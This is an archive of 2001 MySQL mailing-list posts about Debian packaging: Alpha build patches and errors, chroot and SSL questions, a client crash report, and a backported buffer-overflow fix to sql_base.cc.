On Mon, Feb 26, 2001 at 03:02:41PM +0100, [EMAIL PROTECTED] wrote: Since a few weeks tablename completition using tab is not working any longer. Are you sure that the table information is actually read at start of mysql? Do a 'rehash' and see if it works then. Cool that helped, thank you. Now I think I have to read a bit docs what this rehash thing does and why I suddenly have to type it. bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
[chris@debian.org: Bug#86033: [PATCH] Alpha patches for mysql]
Hello In case this patch wasn't post here. bye, -christian- Package: mysql Version: 3.23.33-1 Severity: important Tags: patch Below is a patch against mysql 3.23.31 (but applies well to 3.23.33-1) for things to work properly on Alpha. I've been applying this diff against most of the mysql's compiled to date and it seems to work very well. It should also handle the changes in the db3 code regarding Alpha/gcc mutex support. diff -ruN mysql-3.23.31/debian/db-3.2.3h/dist/aclocal/mutex.m4 mysql-patched/debian/db-3.2.3h/dist/aclocal/mutex.m4 --- mysql-3.23.31/debian/db-3.2.3h/dist/aclocal/mutex.m4Sun Feb 4 20:36:44 2001 +++ mysql-patched/debian/db-3.2.3h/dist/aclocal/mutex.m4Sun Feb 4 13:43:38 +2001 @@ -241,7 +241,7 @@ dnl Alpha/gcc: OSF/1 dnl The alpha/gcc code doesn't work as far as I know. There are dnl two versions, both have problems. See Support Request #1583. -if test "$db_cv_mutex" = DOESNT_WORK; then +if test "$db_cv_mutex" = no; then AC_TRY_RUN([main(){ #if defined(__alpha) #if defined(__GNUC__) diff -ruN mysql-3.23.31/debian/db-3.2.3h/dist/configure mysql-patched/debian/db-3.2.3h/dist/configure --- mysql-3.23.31/debian/db-3.2.3h/dist/configure Sun Feb 4 20:36:44 2001 +++ mysql-patched/debian/db-3.2.3h/dist/configure Sun Feb 4 13:43:55 2001 @@ -4058,7 +4058,7 @@ rm -f conftest* fi -if test "$db_cv_mutex" = DOESNT_WORK; then +if test "$db_cv_mutex" = no; then if test "$cross_compiling" = yes; then { echo "configure: error: can not run test program while cross compiling" 12; exit 1; } else diff -ruN mysql-3.23.31/include/global.h mysql-patched/include/global.h --- mysql-3.23.31/include/global.h Wed Jan 17 04:39:52 2001 +++ mysql-patched/include/global.h Sun Feb 4 13:44:08 2001 @@ -120,7 +120,7 @@ #endif /* In Linux-alpha we have atomic.h if we are using gcc */ -#if defined(HAVE_LINUXTHREADS) defined(__GNUC__) defined(__alpha__) (__GNUC__ 2 || ( __GNUC__ == 2 __GNUC_MINOR__ = 95)) !defined(HAVE_ATOMIC_ADD) +#if defined(HAVE_LINUXTHREADS) (__GLIBC__ == 2) (__GLIBC_MINOR__ 2) +defined(__GNUC__) defined(__alpha__) (__GNUC__ 2 || ( __GNUC__ == 2 +__GNUC_MINOR__ = 95)) !defined(HAVE_ATOMIC_ADD) #define HAVE_ATOMIC_ADD #define HAVE_ATOMIC_SUB #endif diff -ruN mysql-3.23.31/include/my_global.h mysql-patched/include/my_global.h --- mysql-3.23.31/include/my_global.h Wed Jan 17 04:41:11 2001 +++ mysql-patched/include/my_global.h Sun Feb 4 13:44:08 2001 @@ -115,7 +115,7 @@ #endif /* egcs 1.1.2 has a problem with memcpy on Alpha */ -#if defined(__GNUC__) defined(__alpha__) ! (__GNUC__ 2 || (__GNUC__ == 2 __GNUC_MINOR__ = 95)) +#if defined(__GNUC__) defined(__alpha__) (__GLIBC__ == 2) (__GLIBC_MINOR__ +2) ! (__GNUC__ 2 || (__GNUC__ == 2 __GNUC_MINOR__ = 95)) #define BAD_MEMCPY #endif diff -ruN mysql-3.23.31/sql/ha_berkeley.cc mysql-patched/sql/ha_berkeley.cc --- mysql-3.23.31/sql/ha_berkeley.ccWed Jan 17 04:39:50 2001 +++ mysql-patched/sql/ha_berkeley.ccSun Feb 4 20:36:17 2001 @@ -247,9 +247,9 @@ my_pthread_setspecific_ptr(THR_MALLOC,show_logs_root); if ((error= log_archive(db_env, all_logs, DB_ARCH_ABS | DB_ARCH_LOG, - (void* (*)(unsigned int)) sql_alloc)) || + (void* (*)(long unsigned int)) sql_alloc)) || (error= log_archive(db_env, free_logs, DB_ARCH_ABS, - (void* (*)(unsigned int)) sql_alloc))) + (void* (*)(long unsigned int)) sql_alloc))) { DBUG_PRINT("error", ("log_archive failed (error %d)", error)); db_env-err(db_env, error, "log_archive: DB_ARCH_ABS"); - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MySQL 3.23.33 released
Michael, it would be very nice if you would mark security related bugs so that admins who are not subscribed on Bugtraq see them, too. This is at least the second time where I got information about security bugs in MySQL *only* via 3rd party and not from the web page nor from the changelog. Disappointed, -christian- P.S.: http://lists.insecure.org/bugtraq/2001/Feb/0028.html - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
chroot strangenesses
Hi I don't understand the way mysql tries to jail itself with --chroot. If I start mysqld --chroot=/var/lib/mysql_jail then it gives me an error saying that it wasn't able to initialize the databases. When I copy the mysql database somewhere into the jail it works. But - when I modify the mysql database or create new databases then only the files outside the jail, in /var/lib/mysql/ gets modified. So why there is a need for having this mysql database copy in the jail?! TIA bye, -christian- Apropos: it would be nice if someone would incorporate the no-passwd-patch from the mailing list into the latest mysqld server so that there is no longer a need to have a /etc/passwd and libnss/libcompat in the jail. -- You know you're a nerd when your os uptime is longer than you've ever had a girlfriend. ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
SSL - is it there?
Hello I realised several SSL keywords in the Makefiles but cannot find a way to activate SSL/TLS via ./configure. Did I miss something or is there no SSL support implemented yet? Can I expect it for the future? (Would be great!) bye, -christian- -- Save the forests, eat more beavers! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
[cristian.ionescu-idbohrn@axis.com: Bug#82737: building mysql-3.23.30 packages from source fails]
Hello Anybody any idea how to fix this for Alpha? bye, -christian- -- It has just been discovered that research causes cancer in rats. Cheers, downloaded 3.23.31. Builds just fine on i386, but sadly, fails on alpha (potato, Linux 2.2.13, gcc version 2.95.2 2220). g++ -DMYSQL_SERVER -DDEFAULT_MYSQL_HOME="\"/usr\"" \ -DDATADIR="\"/var/lib/mysql\"" -DSHAREDIR="\"/usr/share/mysql\"" \ -DHAVE_CONFIG_H \ -I/var/tmp/mysql-3.23.31-1/mysql-3.23.31/debian/db-3.2.3h/build_unix \ -I./../include -I./../regex -I. -I../include -I.. -I. \ -O3 \ -DDBUG_OFF \ -O2 -fomit-frame-pointer -g -felide-constructors -fno-exceptions \ -fno-rtti -fno-implicit-templates -c ha_berkeley.cc ha_berkeley.cc: In function `int berkeley_show_logs(THD *)': ha_berkeley.cc:250: passing `void * (*)(unsigned int)' as argument 4 of `log_archive(DB_ENV *, char ***, unsigned int, void * (*)(long unsigned int))' ha_berkeley.cc:252: passing `void * (*)(unsigned int)' as argument 4 of `log_archive(DB_ENV *, char ***, unsigned int, void * (*)(long unsigned int))' make[4]: *** [ha_berkeley.o] Error 1 Any thoughts? /Cristian On Sat, 20 Jan 2001, Christian Hammers wrote: On Sat, Jan 20, 2001 at 06:10:27PM +0100, Cristian Ionescu-Idbohrn wrote: Does anybody know how to get around these problems? As 3.23.31 comes due a security fix with high priority in the upload queue this evening I say ignore this but and grab the new version. sorry for your inconvinience :-) bye, -christian- dpkg-source: extracting mysql in mysql-3.23.30 Reversed (or previously applied) patch detected! Skipping patch. 1 out of 1 hunk ignored -- saving rejects to file isam/isamchk.c.rej dpkg-source: failure: patch gave error exit status 1 Unpack command 'dpkg-source -x mysql_3.23.30-2.dsc' failed. E: Child process failed - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Security patch from 3.23.31 backported to 3.22.32 !
Hello A friendly reader of the Debian mailing lists backported the latest security patch for the mysql version that is in Debian's last release. I post this in case that a) any other people rather like to patch their existing servers than upgrade to a new major release b) anybody finds a problem with this patch thanks, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified Dans un message du 21 Jan à 13:28, Christian Hammers écrivait : Are these changes ok for a severity=high fix? Or is there a C/C++ coder out there who would backport the patch? I've backported the fix. diff -uNr mysql-3.22.32.old/sql/sql_base.cc mysql-3.22.32/sql/sql_base.cc --- mysql-3.22.32.old/sql/sql_base.cc Fri Jan 19 22:38:00 2001 +++ mysql-3.22.32/sql/sql_base.cc Fri Jan 19 22:40:02 2001 @@ -1093,7 +1093,7 @@ char buff[NAME_LEN*2+1]; if (db) { - strxmov(buff,db,".",table_name,NullS); + strxnmov(buff,sizeof(buff)-1,db,".",table_name,NullS); table_name=buff; } my_printf_error(ER_UNKNOWN_TABLE,ER(ER_UNKNOWN_TABLE),MYF(0),table_name, -- Guillaume Morin [EMAIL PROTECTED] Homepage : http://gemorin.free.fr - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
show logs crashes client?!
In case this wasn't reported before: "show logs" in the server makes the client crash. Christopher Lameter reported this via the Debian bug tracking system. bye, -christian- -- codito ergo sum - I code, therefore I am! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php